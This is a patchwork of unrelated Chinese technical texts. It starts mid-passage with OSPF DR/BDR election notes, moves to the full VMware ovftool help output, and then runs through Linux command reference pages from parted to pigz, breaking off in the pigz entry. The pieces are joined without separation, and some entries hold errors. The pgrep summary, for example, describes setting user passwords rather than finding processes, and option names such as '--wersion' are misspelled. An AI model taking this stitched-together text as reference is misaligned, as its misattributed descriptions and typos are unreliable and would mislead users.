进行DR/BDR选举时每台路由器将自己选出的DR写入Hello报文中,发给网段上的每台运行OSPF协议的路由器。当处于同一网段的两台路由器同时宣布自己是DR时,路由器优先级高者胜出。如果优先级相等,则Router ID大者胜出。如果一台路由器的优先级为0,则它不会被选举为DR或BDR。

需要注意的是:

·              只有在广播或NBMA类型接口才会选举DR,在点到点或点到多点类型的接口上不需要选举DR。

·              DR是某个网段中的概念,是针对路由器的接口而言的。某台路由器在一个接口上可能是DR,在另一个接口上有可能是BDR,或者是DR Other。

·              路由器的优先级可以影响DR/BDR的选举过程,但是当DR/BDR已经选举完毕,就算一台具有更高优先级的路由器变为有效,也不会替换该网段中已经存在的DR/BDR成为新的DR/BDR。

·              DR并不一定就是路由器优先级最高的路由器接口;同理,BDR也并不一定就是路由器优先级次高的路由器接口。
```
C:\Program Files (x86)\VMware\VMware Workstation\OVFTool>ovftool.exe --help
Usage: ovftool [options] <source> [<target>]
where
<source>: Source URL locator to an OVF package, VMX file, or virtual machine in
          vCenter or on ESX Server.
<target>: Target URL locator which specifies either a file location, or a
          location in the vCenter inventory or on an ESX Server.

If <target> is not specified, information about the source is displayed to the
console.

Options:
     --acceptAllEulas            : Accept all end-user licenses agreements
                                   without being prompted.
     --allowAllExtraConfig       : Whether we allow all the ExtraConfig
                                   options. These options are a security risk
                                   as they control low-level and potential
                                   unsafe options on the VM.
     --allowExtraConfig          : Whether we allow ExtraConfig options. These
                                   options are a security risk as they control
                                   low-level and potential unsafe options on
                                   the VM.
     --annotation                : Add annotation to vi, vmx, vapprun, vCloud,
                                   OVF, and OVA source locators
     --authdPortSource           : Use this to override default vmware authd
                                   port (902) when using a host as source.
     --authdPortTarget           : Use this to override default vmware authd
                                   port (902) when using a host as target.
     --chunkSize                 : Specifies the chunk size to use for files in
                                   a generated OVF package. The default is not
                                   to chunk. The chunk size without unit is
                                   assumed to be in megabytes. Accepted units
                                   are b, kb, mb, gb; e.g., 2gb or 100kb.
     --compress                  : Compress the disks in an OVF package. Value
                                   must be between 1 and 9. 1 is the fastest,
                                   but gives the worst compression, whereas 9
                                   is the slowest, but gives the best
                                   compression.
     --computerName              : Sets the computer name in the guest for a VM
                                   using the syntax --computerName:<VM
                                   ID>=<value>. Only applies to vCloud targets
                                   version 5.5 or newer.
     --coresPerSocket            : Specifies the distribution of the total
                                   number of CPUs over a number of virtual
                                   sockets using the syntax
                                   --coresPerSocket:<VM ID>=<value>. Only
                                   applies to vCloud targets version 5.5 or
                                   newer.
 -ds/--datastore                 : Target datastore name for a VI locator.
     --decodeBase64              : Decode option values with Base64.
     --defaultStorageProfile     : The storage profile for all VMs in the OVF
                                   package. The value should be an SPBM profile
                                   ID. Only applies to VI targets version 5.5
                                   or newer.
     --defaultStorageRawProfile  : The storage profile for all VMs in the OVF
                                   package. The value should be raw SPBM
                                   profile. The value will overwrite that in
                                   --defaultStorageProfile. Only applies to VI
                                   targets version 5.5 or newer.
     --deploymentOption          : Selects what deployment option to use (if
                                   the source OVF package supports multiple
                                   options.)
     --disableVerification       : Skip validation of signature and
                                   certificate.
 -dm/--diskMode                  : Select target disk format. Supported formats
                                   are: monolithicSparse, monolithicFlat,
                                   twoGbMaxExtentSparse, twoGbMaxExtentFlat,
                                   seSparse (VI target), eagerZeroedThick (VI
                                   target), thin (VI target), thick (VI
                                   target), sparse, and flat
     --diskSize                  : Sets the size of a VM disk in megabytes
                                   using the syntax --diskSize:<VM ID>,<disk
                                   instance ID>=<value>. Only applies to vCloud
                                   targets version 5.5 or newer.
     --eula                      : EULA to be inserted in the first virtual
                                   system or virtual system collection in the
                                   OVF. If the EULA is in a file, use the
                                   option --eula@=filename instead.
     --exportDeviceSubtypes      : Enables export of resource subtype for
                                   CD/Floppy/Parallel/Serial devices. This can
                                   limit portability as not all device backings
                                   are supported on all hypervisors. The
                                   default is false.
     --exportFlags               : Specifies one or more export flags to
                                   control what gets exported. The supported
                                   values for VI sources are mac, uuid, and
                                   extraconfig. Supported value for vCloud
                                   sources are preserveIdentity. One or more
                                   options can be provided, separated by
                                   commas.
     --extraConfig               : Sets an ExtraConfig element for all
                                   VirtualHardwareSections. The syntax is
                                   --extraConfig:<key>=<value>. Applies to vi,
                                   vmx, vapprun, vCloud, ovf, and ova source
                                   locators.
     --fencedMode                : If a parent network exists on the vCloud
                                   target, this property specifies the
                                   connectivity to the parent. Possible values
                                   are bridged, isolated, and natRouted.
 -h /--help                      : Prints this message.
     --hideEula                  : In OVF probe mode, hides the EULA.
     --ipAllocationPolicy        : IP allocation policy for a deployed OVF
                                   package.Supported values are: dhcpPolicy,
                                   transientPolicy, fixedPolicy,
                                   fixedAllocatedPolicy.
     --ipProtocol                : Select what IP protocol to use (IPv4, IPv6).
     --lax                       : Relax OVF specification conformance and
                                   virtual hardware compliance checks. Use only
                                   if you know what you are doing.
     --locale                    : Selects locale for target.
     --machineOutput             : Output OVF Tool messages in a machine
                                   friendly manner.
     --makeDeltaDisks            : Build delta disk hierarchy from the given
                                   source locator.
     --maxVirtualHardwareVersion : The maximal virtual hardware version to
                                   generate.
     --memorySize                : Sets the memory size in megabytes of a VM
                                   using the syntax --memorySize:<VM
                                   ID>=<value>. Only applies to vCloud targets
                                   version 5.5 or newer.
 -n /--name                      : Specifies target name (defaults to source
                                   name).
     --net                       : Set a network assignment in the deployed OVF
                                   package. A network assignment is set using
                                   the syntax --net:<OVF name>=<target name>.
                                   If the target is vCloud 5.5 or newer, a
                                   fence mode can also be specified using the
                                   syntax --net:<OVF name>=<target name>,<fence
                                   mode>. Possible fence mode values are:
                                   bridged, isolated, and natRouted.
 -nw/--network                   : Target network for a VI deployment.
     --nic                       : Specifies NIC configuration in a VM using
                                   the syntax --nic:<VM ID>,<index>=<OVF net
                                   name>,<isPrimary>,<ipAddressingMode>,<ipAddress>.
                                   Possible values for ipAddressingMode are:
                                   DHCP, POOL, MANUAL, and NONE. ipAddress is
                                   optional and should only be used when
                                   ipAddressingMode is set to MANUAL. Only
                                   applies to vCloud targets version 5.5 or
                                   newer.
     --noDisks                   : Disable disk conversion.
     --noImageFiles              : Do not include image files in destination.
     --noSSLVerify               : Skip SSL verification for VI connections.
     --numberOfCpus              : Sets the number of CPUs for a VM using the
                                   syntax --numberOfCpus:<VM ID>=<value>. Only
                                   applies to vCloud targets version 5.5 or
                                   newer.
 -o /--overwrite                 : Force overwrites of existing files.
     --powerOffSource            : Ensures a VM/vApp is powered off before
                                   importing from a VI source.
     --powerOffTarget            : Ensures a VM/vApp is powered off before
                                   overwriting a VI target.
     --powerOn                   : Powers on a VM/vApp deployed on a VI target.
     --privateKey                : Sign OVF package with the given private key
                                   (.pem file). The file must contain a private
                                   key and a certificate.
     --privateKeyPassword        : Password for the private key. Should be used
                                   in conjunction with privateKey if the
                                   private key requires password
                                   authentication. If required and not
                                   specified, the tool will prompt for the
                                   password.
     --prop                      : Set a property in the deployed OVF package.
                                   A property is set using the syntax
                                   --prop:<key>=<value>.
     --proxy                     : Proxy used for HTTP[S] access.
     --proxyNTLMAuth             : Enable NTLM authentication for proxy.
 -q /--quiet                     : No output to screen except errors.
     --schemaValidate            : Validate OVF descriptor against OVF schema.
     --shaAlgorithm              : Select SHA digest algorithm when creating
                                   OVF package. Supported values are SHA1,
                                   SHA256 and SHA512. Default value is SHA256.
     --skipManifestCheck         : Skip validation of OVF package manifest.
     --skipManifestGeneration    : Skip generation of OVF package manifest.
     --sourcePEM                 : File path to PEM formatted file used to
                                   verify VI connections.
     --sourceSSLThumbprint       : SSL fingerprint of SOURCE. OVF Tool verifies
                                   the SSL fingerprint it gets from SOURCE if
                                   the value is set.
 -st/--sourceType                : Explicitly express that source is OVF, OVA,
                                   VMX, VI, vCloud, ISO, FLP, vApprun
     --sslCipherList             : Use this to override default OpenSSL ciphers
                                   suite.
     --sslVersion                : Use this to set preferred TLS/SSL version
                                   for HTTPS connections. The valid values are
                                   as following:
                                     TLSv1_0: Set preferred TLS/SSL version to
                                   TLSv1.0.
                                     TLSv1_1: Set preferred TLS/SSL version to
                                   TLSv1.1.
                                     TLSv1_2: Set preferred TLS/SSL version to
                                   TLSv1.2.
     --storageProfile            : Sets the storage profile for a VM using the
                                   syntax --storageProfile:<VM ID>=<value>.
                                   Only applies to vCloud targets version 5.5
                                   or newer.
     --targetPEM                 : File path to PEM formatted file used to
                                   verify VI connections.
     --targetSSLThumbprint       : SSL fingerprint of TARGET. OVF Tool verifies
                                   the SSL fingerprint it gets from TARGET if
                                   the value is set.
 -tt/--targetType                : Explicitly express that target is OVF, OVA,
                                   VMX, VI, vCloud, ISO, FLP, vApprun
     --vCloudTemplate            : Create only a vApp template. Default value
                                   is false
     --vService                  : Set a vService assignment in the deployed
                                   OVF package. A vService assignment is set
                                   using the syntax
                                   --vService:<dependencyId>=<providerId>.
     --verifyOnly                : Do not upload the source but only verify it
                                   against the target host. Applies to VI 4
                                   targets only.
 -v /--version                   : Prints the version of this tool.
     --viCpuResource             : Specify the CPU resource settings for
                                   VI-locator targets. The syntax is
                                   --viCpuResource=<shares>:<reservation>:<limit>.
     --viMemoryResource          : Specify the CPU resource settings for
                                   VI-locator targets. The syntax is
                                   --viMemoryResource=<shares>:<reservation>:<limit>.
 -vf/--vmFolder                  : Target VM folder in VI inventory (relative
                                   to datacenter).

For more help, type: --help <topic>, where topics are:
 locators    : For detailed source and destination locator syntax
 examples    : For examples of use
 config      : For syntax of configuration files
 debug       : For debug purpose
 integration : For a list of options primarily used when ovftool is exec'ed
               from another tool or shellscript.
```
!!简介
:<div>
parted
===

磁盘分区和分区大小调整工具

</div>

!! 补充说明

:<div>


"parted命令" 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。

</div>

!! 语法  

:<div>


```
parted(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-h:显示帮助信息;
-i:交互式模式;
-s:脚本模式,不提示用户;
-v:显示版本号。
```

</div>

!! 参数  

:<div>


*   设备:指定要分区的硬盘所对应的设备文件;
*   命令:要执行的parted命令。

</div>

!! 实例  

:<div>


从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引。

红帽企业 Linux 4 Update 4供对大于 2 terabytes(TB)的磁盘设备的支持。

请参考以下操作步骤:

注:

*   绿色代表你需要使用的命令。
*   红色代表你需要注意到的输出信息,在后续需要使用。

```
[root@localhost ~]# fdisk -l
Disk /dev/sda: 35.8 GB, 35862976512 bytes
255 heads, 63 sectors/track, 4360 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
   Device Boot      Start         End      Blocks   id  System
/dev/sda1   *           1          13      104391   83  Linux
/dev/sda2              14         144     1052257+  82  Linux swap
/dev/sda3             145        4360    33865020   83  Linux
Disk /dev/sdb: 2147 MB, 2147483648 bytes
255 heads, 63 sectors/track, 261 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk /dev/sdb doesn't contain a valid partition table
```

```
[root@localhost ~]# parted /dev/sdb
GNU Parted Copyright (C) 1998 - 2004 free Software Foundation, Inc.
This program is free software, covered by the GNU General Public License.
This program is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.  See the GNU General Public License for more details.
使用/dev/sdb
(parted)mklabel gpt
(parted)print
/dev/sdb的磁盘几何结构:0.000-2048.000兆字节
磁盘标签类型:gpt
Minor   起始点       终止点 文件系统   名称                 标志
(parted)mkpart primary 0 2048  <-----上面print显示的数字
(parted)print
/dev/sdb的磁盘几何结构:0.000-2048.000兆字节
磁盘标签类型:gpt
Minor   起始点       终止点 文件系统   名称                 标志
1          0.017   2047.983
(parted)quit

```

如果必要,不要忘记更新`/etc/fstab`。

```
[root@localhost ~]# fdisk -l
Disk /dev/sda: 35.8 GB, 35862976512 bytes
255 heads, 63 sectors/track, 4360 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          13      104391   83  Linux
/dev/sda2              14         144     1052257+  82  Linux swap
/dev/sda3             145        4360    33865020   83  Linux
WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted.

Disk /dev/sdb: 2147 MB, 2147483648 bytes
255 heads, 63 sectors/track, 261 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         262     2097151+  ee  EFI GPT
Partition 1 has different physical/logical beginnings (non-Linux?):
     phys=(0, 0, 1) logical=(0,0, 2)
Partition 1 has different physical/logical endings:
     phys=(1023, 254, 63) logical=(261, 21, 16)
```

```
[root@localhost ~]# mkfs.ext3 /dev/sdb1
mke2fs 1.35 (28-Feb-2004)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
262144 inodes, 524279 blocks
26213 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=536870912
16 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912
Writing inode tables: done
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done
This filesystem will be automatically checked every 28 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
```

```
[root@localhost ~]# mount /dev/sdb1 /mnt
[root@localhost ~]# df -h
Filesystem            容量  已用 可用 已用% 挂载点
/dev/sda3              <?xml:namespace prefix = st1 />32G  2.6G   28G   9% /
/dev/sda1              99M   12M   82M  13% /boot
none                  252M     0  252M   0% /dev/shm
/dev/sdb1             2.0G   36M  1.9G   2% /mnt
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
partprobe
===

不重启的情况下重读分区

</div>

!! 补充说明

:<div>


"partprobe命令" 用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下重读分区。

</div>

!! 语法  

:<div>


```
partprobe(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:不更新内核;
-s:显示摘要和分区;
-h:显示帮助信息;
-v:显示版本信息。
```

</div>

!! 参数  

:<div>


设备:指定需要确认分区表改变的硬盘对应的设备文件。

</div>

!! 实例  

:<div>


使用partprobe不重启系统添加新的磁盘分区,主机自带硬盘超过300GB,目前只划分使用了3个主分区,不到70GB,如下:

```
[root@localhost ~]# df -h 
Filesystem Size Used Avail Use% Mounted on 
/dev/sda1 29G 3.7G  24G 14% / 
/dev/sda2 29G  22G 5.2G 81% /oracle 
tmpfs    2.0G    0 2.0G  0% /dev/shm
```

```
[root@localhost ~]# cat /proc/partitions
major minor  #blocks  name

   8     0  311427072 sda
   8     1   30716248 sda1
   8     2   30716280 sda2
   8     3    8193150 sda3
   8    16     976896 sdb
   8    32     976896 sdc

…省略其他

```

现在需要给系统添加1个100GB的空间存放数据文件,而又不影响现有系统上业务的运行,使用fdisk结合partprobe命令不重启系统添加一块新的磁盘分区。操作步骤如下:

 "第1步 添加新的磁盘分区" :

```
[root@localhost ~]# fdisk /dev/sda
The number of cylinders for this disk is set to 38770.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of lilo)
2) booting and partitioning software from other OSs
   (e.g., DOS FDISK, OS/2 FDISK)

command (m for help): p

Disk /dev/sda: 318.9 GB, 318901321728 bytes
255 heads, 63 sectors/track, 38770 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   id  System
/dev/sda1   *           1        3824    30716248+  83  Linux
/dev/sda2            3825        7648    30716280   83  Linux
/dev/sda3            7649        8668     8193150   82  Linux swap / Solaris

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Selected partition 4
First cylinder (8669-38770, default 8669):
Using default value 8669
last cylinder or +size or +sizeM or +sizeK (8669-38770, default 38770): +100G   
Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: 

Device or resource busy.
The kernel still uses the old table.
The new table will be used at the next reboot.
Syncing disks.
```

 "第2步 使用工具partprobe让kernel读取分区信息:" 

```
[root@localhost ~]# partprobe
```

使用fdisk工具只是将分区信息写到磁盘,如果需要mkfs磁盘分区则需要重启系统,而使用partprobe则可以使kernel重新读取分区信息,从而避免重启系统。

 "第3步 格式化文件系统:" 

```
[root@localhost ~]# mkfs.ext3 /dev/sda4
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
12222464 inodes, 24416791 blocks
1220839 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
746 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 
    2654208, 4096000, 7962624, 11239424, 20480000, 23887872

Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information:

done

This filesystem will be automatically checked every 26 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
[root@localhost ~]#
```

 "第4步 mount新的分区`/dev/sda4`:" 

```
[root@localhost ~]# e2label  /dev/sda4 /data
[root@localhost ~]# mkdir /data
[root@localhost ~]# mount /dev/sda4 /data
[root@localhost ~]# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda1             29753556   3810844  24406900  14% /
/dev/sda2             29753588  11304616  16913160  41% /oracle
tmpfs                  2023936         0   2023936   0% /dev/shm
/dev/sda4             96132968    192312  91057300   1% /data
```

使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* passwd [OPTIONS] UserName: 修改指定用户的密码,仅root 用户权限
* passwd: 修改自己的密码
* 常用选项:
    ** -l: 锁定指定用户
    ** -u: 解锁指定用户
    ** -e: 强制用户下次登录修改密码
    ** -n mindays: 指定最短使用期限
    ** -x maxdays :最大使用期限
    ** -w warndays :提前多少天开始警告
    ** -i inactivedays :非活动期限
    ** --stdin :从标准输入接收用户密码
    ** echo " PASSWORD " | passwd --stdin USERNAME
''paste''命令用于将多个文件按照列队列进行合并。

!语法
`paste(选项)(参数)`

!选项
    * -d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符;
    * -s或——serial串列进行而非平行处理。
!参数
    * 文件列表:指定需要合并的文件列表。
!!简介
:<div>
patch
===

为开放源代码软件安装补丁程序

</div>

!! 补充说明

:<div>


"patch命令" 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。

</div>

!! 语法  

:<div>


```
patch(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b或--backup:备份每一个原始文件;
-B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称;
-c或--context:把修补数据解译成关联性的差异;
-d<工作目录>或--directory=<工作目录>:设置工作目录;
-D<标示符号>或--ifdef=<标示符号>:用指定的符号把改变的地方标示出来;
-e或--ed:把修补数据解译成ed指令可用的叙述文件;
-E或--remove-empty-files:若修补过后输出的文件其内容是一片空白,则移除该文件;
-f或--force:此参数的效果和指定"-t"参数类似,但会假设修补数据的版本为新版本;
-F<监别列数>或--fuzz<监别列数>:设置监别列数的最大值;
-g<控制数值>或--get=<控制数值>:设置以RSC或SCCS控制修补作业;
-i<修补文件>或--input=<修补文件>:读取指定的修补问家你;
-l或--ignore-whitespace:忽略修补数据与输入数据的跳格,空格字符;
-n或--normal:把修补数据解译成一般性的差异;
-N或--forward:忽略修补的数据较原始文件的版本更旧,或该版本的修补数据已使 用过;
-o<输出文件>或--output=<输出文件>:设置输出文件的名称,修补过的文件会以该名称存放;
-p<剥离层级>或--strip=<剥离层级>:设置欲剥离几层路径名称;
-f<拒绝文件>或--reject-file=<拒绝文件>:设置保存拒绝修补相关信息的文件名称,预设的文件名称为.rej;
-R或--reverse:假设修补数据是由新旧文件交换位置而产生;
-s或--quiet或--silent:不显示指令执行过程,除非发生错误;
-t或--batch:自动略过错误,不询问任何问题;
-T或--set-time:此参数的效果和指定"-Z"参数类似,但以本地时间为主;
-u或--unified:把修补数据解译成一致化的差异;
-v或--version:显示版本信息;
-V<备份方式>或--version-control=<备份方式>:用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,这个字符串不仅可用"-z"参数变更,当使用"-V"参数指定不同备份方式时,也会产生不同字尾的备份字符串;
-Y<备份字首字符串>或--basename-prefix=--<备份字首字符串>:设置文件备份时,附加在文件基本名称开头的字首字符串;
-z<备份字尾字符串>或--suffix=<备份字尾字符串>:此参数的效果和指定"-B"参数类似,差别在于修补作业使用的路径与文件名若为src/linux/fs/super.c,加上"backup/"字符串后,文件super.c会备份于/src/linux/fs/backup目录里;
-Z或--set-utc:把修补过的文件更改,存取时间设为UTC;
--backup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,才备份文件;
--binary:以二进制模式读写数据,而不通过标准输出设备;
--help:在线帮助;
--nobackup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,不要备份文件;
--verbose:详细显示指令的执行过程。
```

</div>

!! 参数  

:<div>


*   原文件:指定需要打补丁的原始文件;
*   补丁文件:指定补丁文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pathchk
===

检查文件中不可移植的部分

</div>

!! 补充说明

:<div>


"pathchk命令" 用来检查文件中不可移植的部分。

</div>

!! 语法  

:<div>


```
pathchk(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-p:检查大多数的POSIX系统;
-P:检查空名字和“-”开头的文件;
--portability:检查所有的POSIX系统,等同于“-P-p”选项;
--help:显示帮助;
--wersion:显示版本号。
```

</div>

!! 参数  

:<div>


*   文件:带路径信息的文件;
*   后缀:可选参数,指定要去除的文件后缀字符串。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
perl
===

perl语言解释器

</div>

!! 补充说明

:<div>


"perl命令" 是perl语言解释器,负责解释执行perl语言程序。

</div>

!! 语法  

:<div>


```
perl(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-w:输出有用的警告信息;
-U:允许不安全的操作;
-c:仅检查文件的语法;
-d:在调试下运行脚本程序。
```

</div>

!! 参数  

:<div>


文件:要运行的perl脚本程序。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pfctl
===

PF防火墙的配置命令

</div>

!! 补充说明

:<div>


"pfctl命令" 是PF防火墙的配置命令,PF防火墙( 全称:Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制,并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的,现在的开发和维护由Daniel和openBSD小组的其他成员负责。

PF防火墙的功能很多,本站只列举一些基本配置。

</div>

!! 激活  

:<div>


要激活pf并且使它在启动时调用配置文件,编辑`/etc/rc.conf`文件,修改配置pf的一行:

```
pf=yes
```

重启操作系统让配置生效。

也可以通过pfctl程序启动和停止pf:

```
# pfctl -e
# pfctl -d
```

注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。

</div>

!! 配置  

:<div>


系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。

 "pf.conf文件有7个部分:" 

1.  宏:用户定义的变量,包括IP地址,接口名称等等。
2.  表:一种用来保存IP地址列表的结构。
3.  选项:控制PF如何工作的变量。
4.  整形:重新处理数据包,进行正常化和碎片整理。
5.  排队:提供带宽控制和数据包优先级控制。
6.  转换:控制网络地址转换和数据包重定向。
7.  过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止。

除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的。

空行会被忽略,以#开头的行被认为是注释。

</div>

!! 控制  

:<div>


引导之后,PF可以通过pfctl程序进行操作,以下是一些例子:

```
# pfctl -f /etc/pf.conf  载入 pf.conf 文件
# pfctl -nf /etc/pf.conf 解析文件,但不载入
# pfctl -Nf /etc/pf.conf 只载入文件中的NAT规则
# pfctl -Rf /etc/pf.conf 只载入文件中的过滤规则

# pfctl -sn 显示当前的NAT规则
# pfctl -sr 显示当前的过滤规则
# pfctl -ss 显示当前的状态表
# pfctl -si 显示过滤状态和计数
# pfctl -sa 显示任何可显示的
```

完整的命令列表,请参阅pfctl的man手册页。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pgrep
===

设置用户的认证信息,包括用户密码、密码过期时间等

</div>

!! 补充说明

:<div>


"pgrep命令" 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合。

</div>

!! 语法  

:<div>


```
pgrep(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-o:仅显示找到的最小(起始)进程号;
-n:仅显示找到的最大(结束)进程号;
-l:显示进程名称;
-P:指定父进程号;
-g:指定进程组;
-t:指定开启进程的终端;
-u:指定进程的有效用户ID。
```

</div>

!! 参数  

:<div>


进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。

</div>

!! 实例  

:<div>


```
pgrep -lo httpd
4557 httpd
 [root@localhost ~]# pgrep -ln httpd
4566 httpd

[root@localhost ~]# pgrep -l httpd
4557 httpd
4560 httpd
4561 httpd
4562 httpd
4563 httpd
4564 httpd
4565 httpd
4566 httpd

[root@localhost ~]# pgrep httpd 4557
4560
4561
4562
4563
4564
4565
4566
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
php
===

PHP语言的命令行接口

</div>

!! 补充说明

:<div>


"php命令" 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序。

</div>

!! 语法  

:<div>


```
php(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:进入交互模式;
-c:指定“php.ini”的搜索路径。
```

</div>

!! 参数  

:<div>


文件:要执行的php脚本。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
pico
===

功能强大全屏幕的文本编辑器

</div>

!! 补充说明

:<div>


"pico命令" 是功能强大全屏幕的文本编辑器。pico的操作简单,提供了丰富的快捷键。常用的快捷键如下:

```
Ctrl+G:获得pico的帮助信息;
Ctrl+O:保存文件内容,如果是新文件,需要输入文件名;
Ctrl+R:在当前光标位置插入一个指定的文本文件内容;
Ctrl+Y:向前翻页;
Ctrl+V:向后翻页;
Ctrl+w:对文件进行搜索;
Ctrl+K:剪切当前文件行到粘贴缓冲区;
Ctrl+U:粘贴缓冲区中的内容到当前光标所在位置;
Ctrl+C:显示当前光标位置;
Ctrl+T:调用拼写检查功能,对文档进行拼写检查;
Ctrl+J:段落重排;
Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。
```

</div>

!! 语法  

:<div>


```
pico(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b:开启置换的功能;
-d:开启删除的功能;
-e:使用完整的文件名称;
-f:支持键盘上F1、F2...功能键;
-g:显示光标;
-h:在线帮助;
-j:开启切换的功能;
-k:预设pico在使用剪下命令时,会把光标所在的列的内容全部删除;
-m:开启鼠标支持的功能,您可用鼠标点选命令列表;
-n<间隔秒数>:设置多久检查一次新邮件;
-o<工作目录>:设置工作目录;
-q:忽略预设值;
-r<编辑页宽>:设置编辑文件的页宽;
-s<拼字检查器>:另外指定拼字检查器;
-t:启动工具模式;
-v:启动阅读模式,用户只能观看,无法编辑文件的内容;
-w:关闭自动换行,通过这个参数可以编辑内容很长的列;
-x:关闭页面下方的命令列表;
-z:让pico可被Ctrl+z中断,暂存在后台作业里;
+<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑。
```

</div>

!! 参数  

:<div>


文件:指定要编辑的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!简介 
:<div>

```
pidof命令用于查找指定名称的进程的进程号id号。
```
</div>



! 选项
:<div>

```bash
-s:仅返回一个进程号;
-c:仅显示具有相同“root”目录的进程;
-x:显示由脚本开启的进程;
-o:指定不显示的进程ID。
```
</div>
!!简介
:<div>
pigz
===

可以用来解压缩文件,gzip的并行实现升级版。

</div>

!! 补充说明

:<div>


"pigz命令"可以用来解压缩文件,最重要的是支持多线程并行处理,解压缩比gzip快。主页: [http://zlib.net/pigz/](http://zlib.net/pigz/)

</div>

!! 语法

:<div>


```bash
pigz [ -cdfhikKlLmMnNqrRtz0..9,11 ] [ -b blocksize ] [ -p threads ] [ -S suffix ] [ name ...  ]
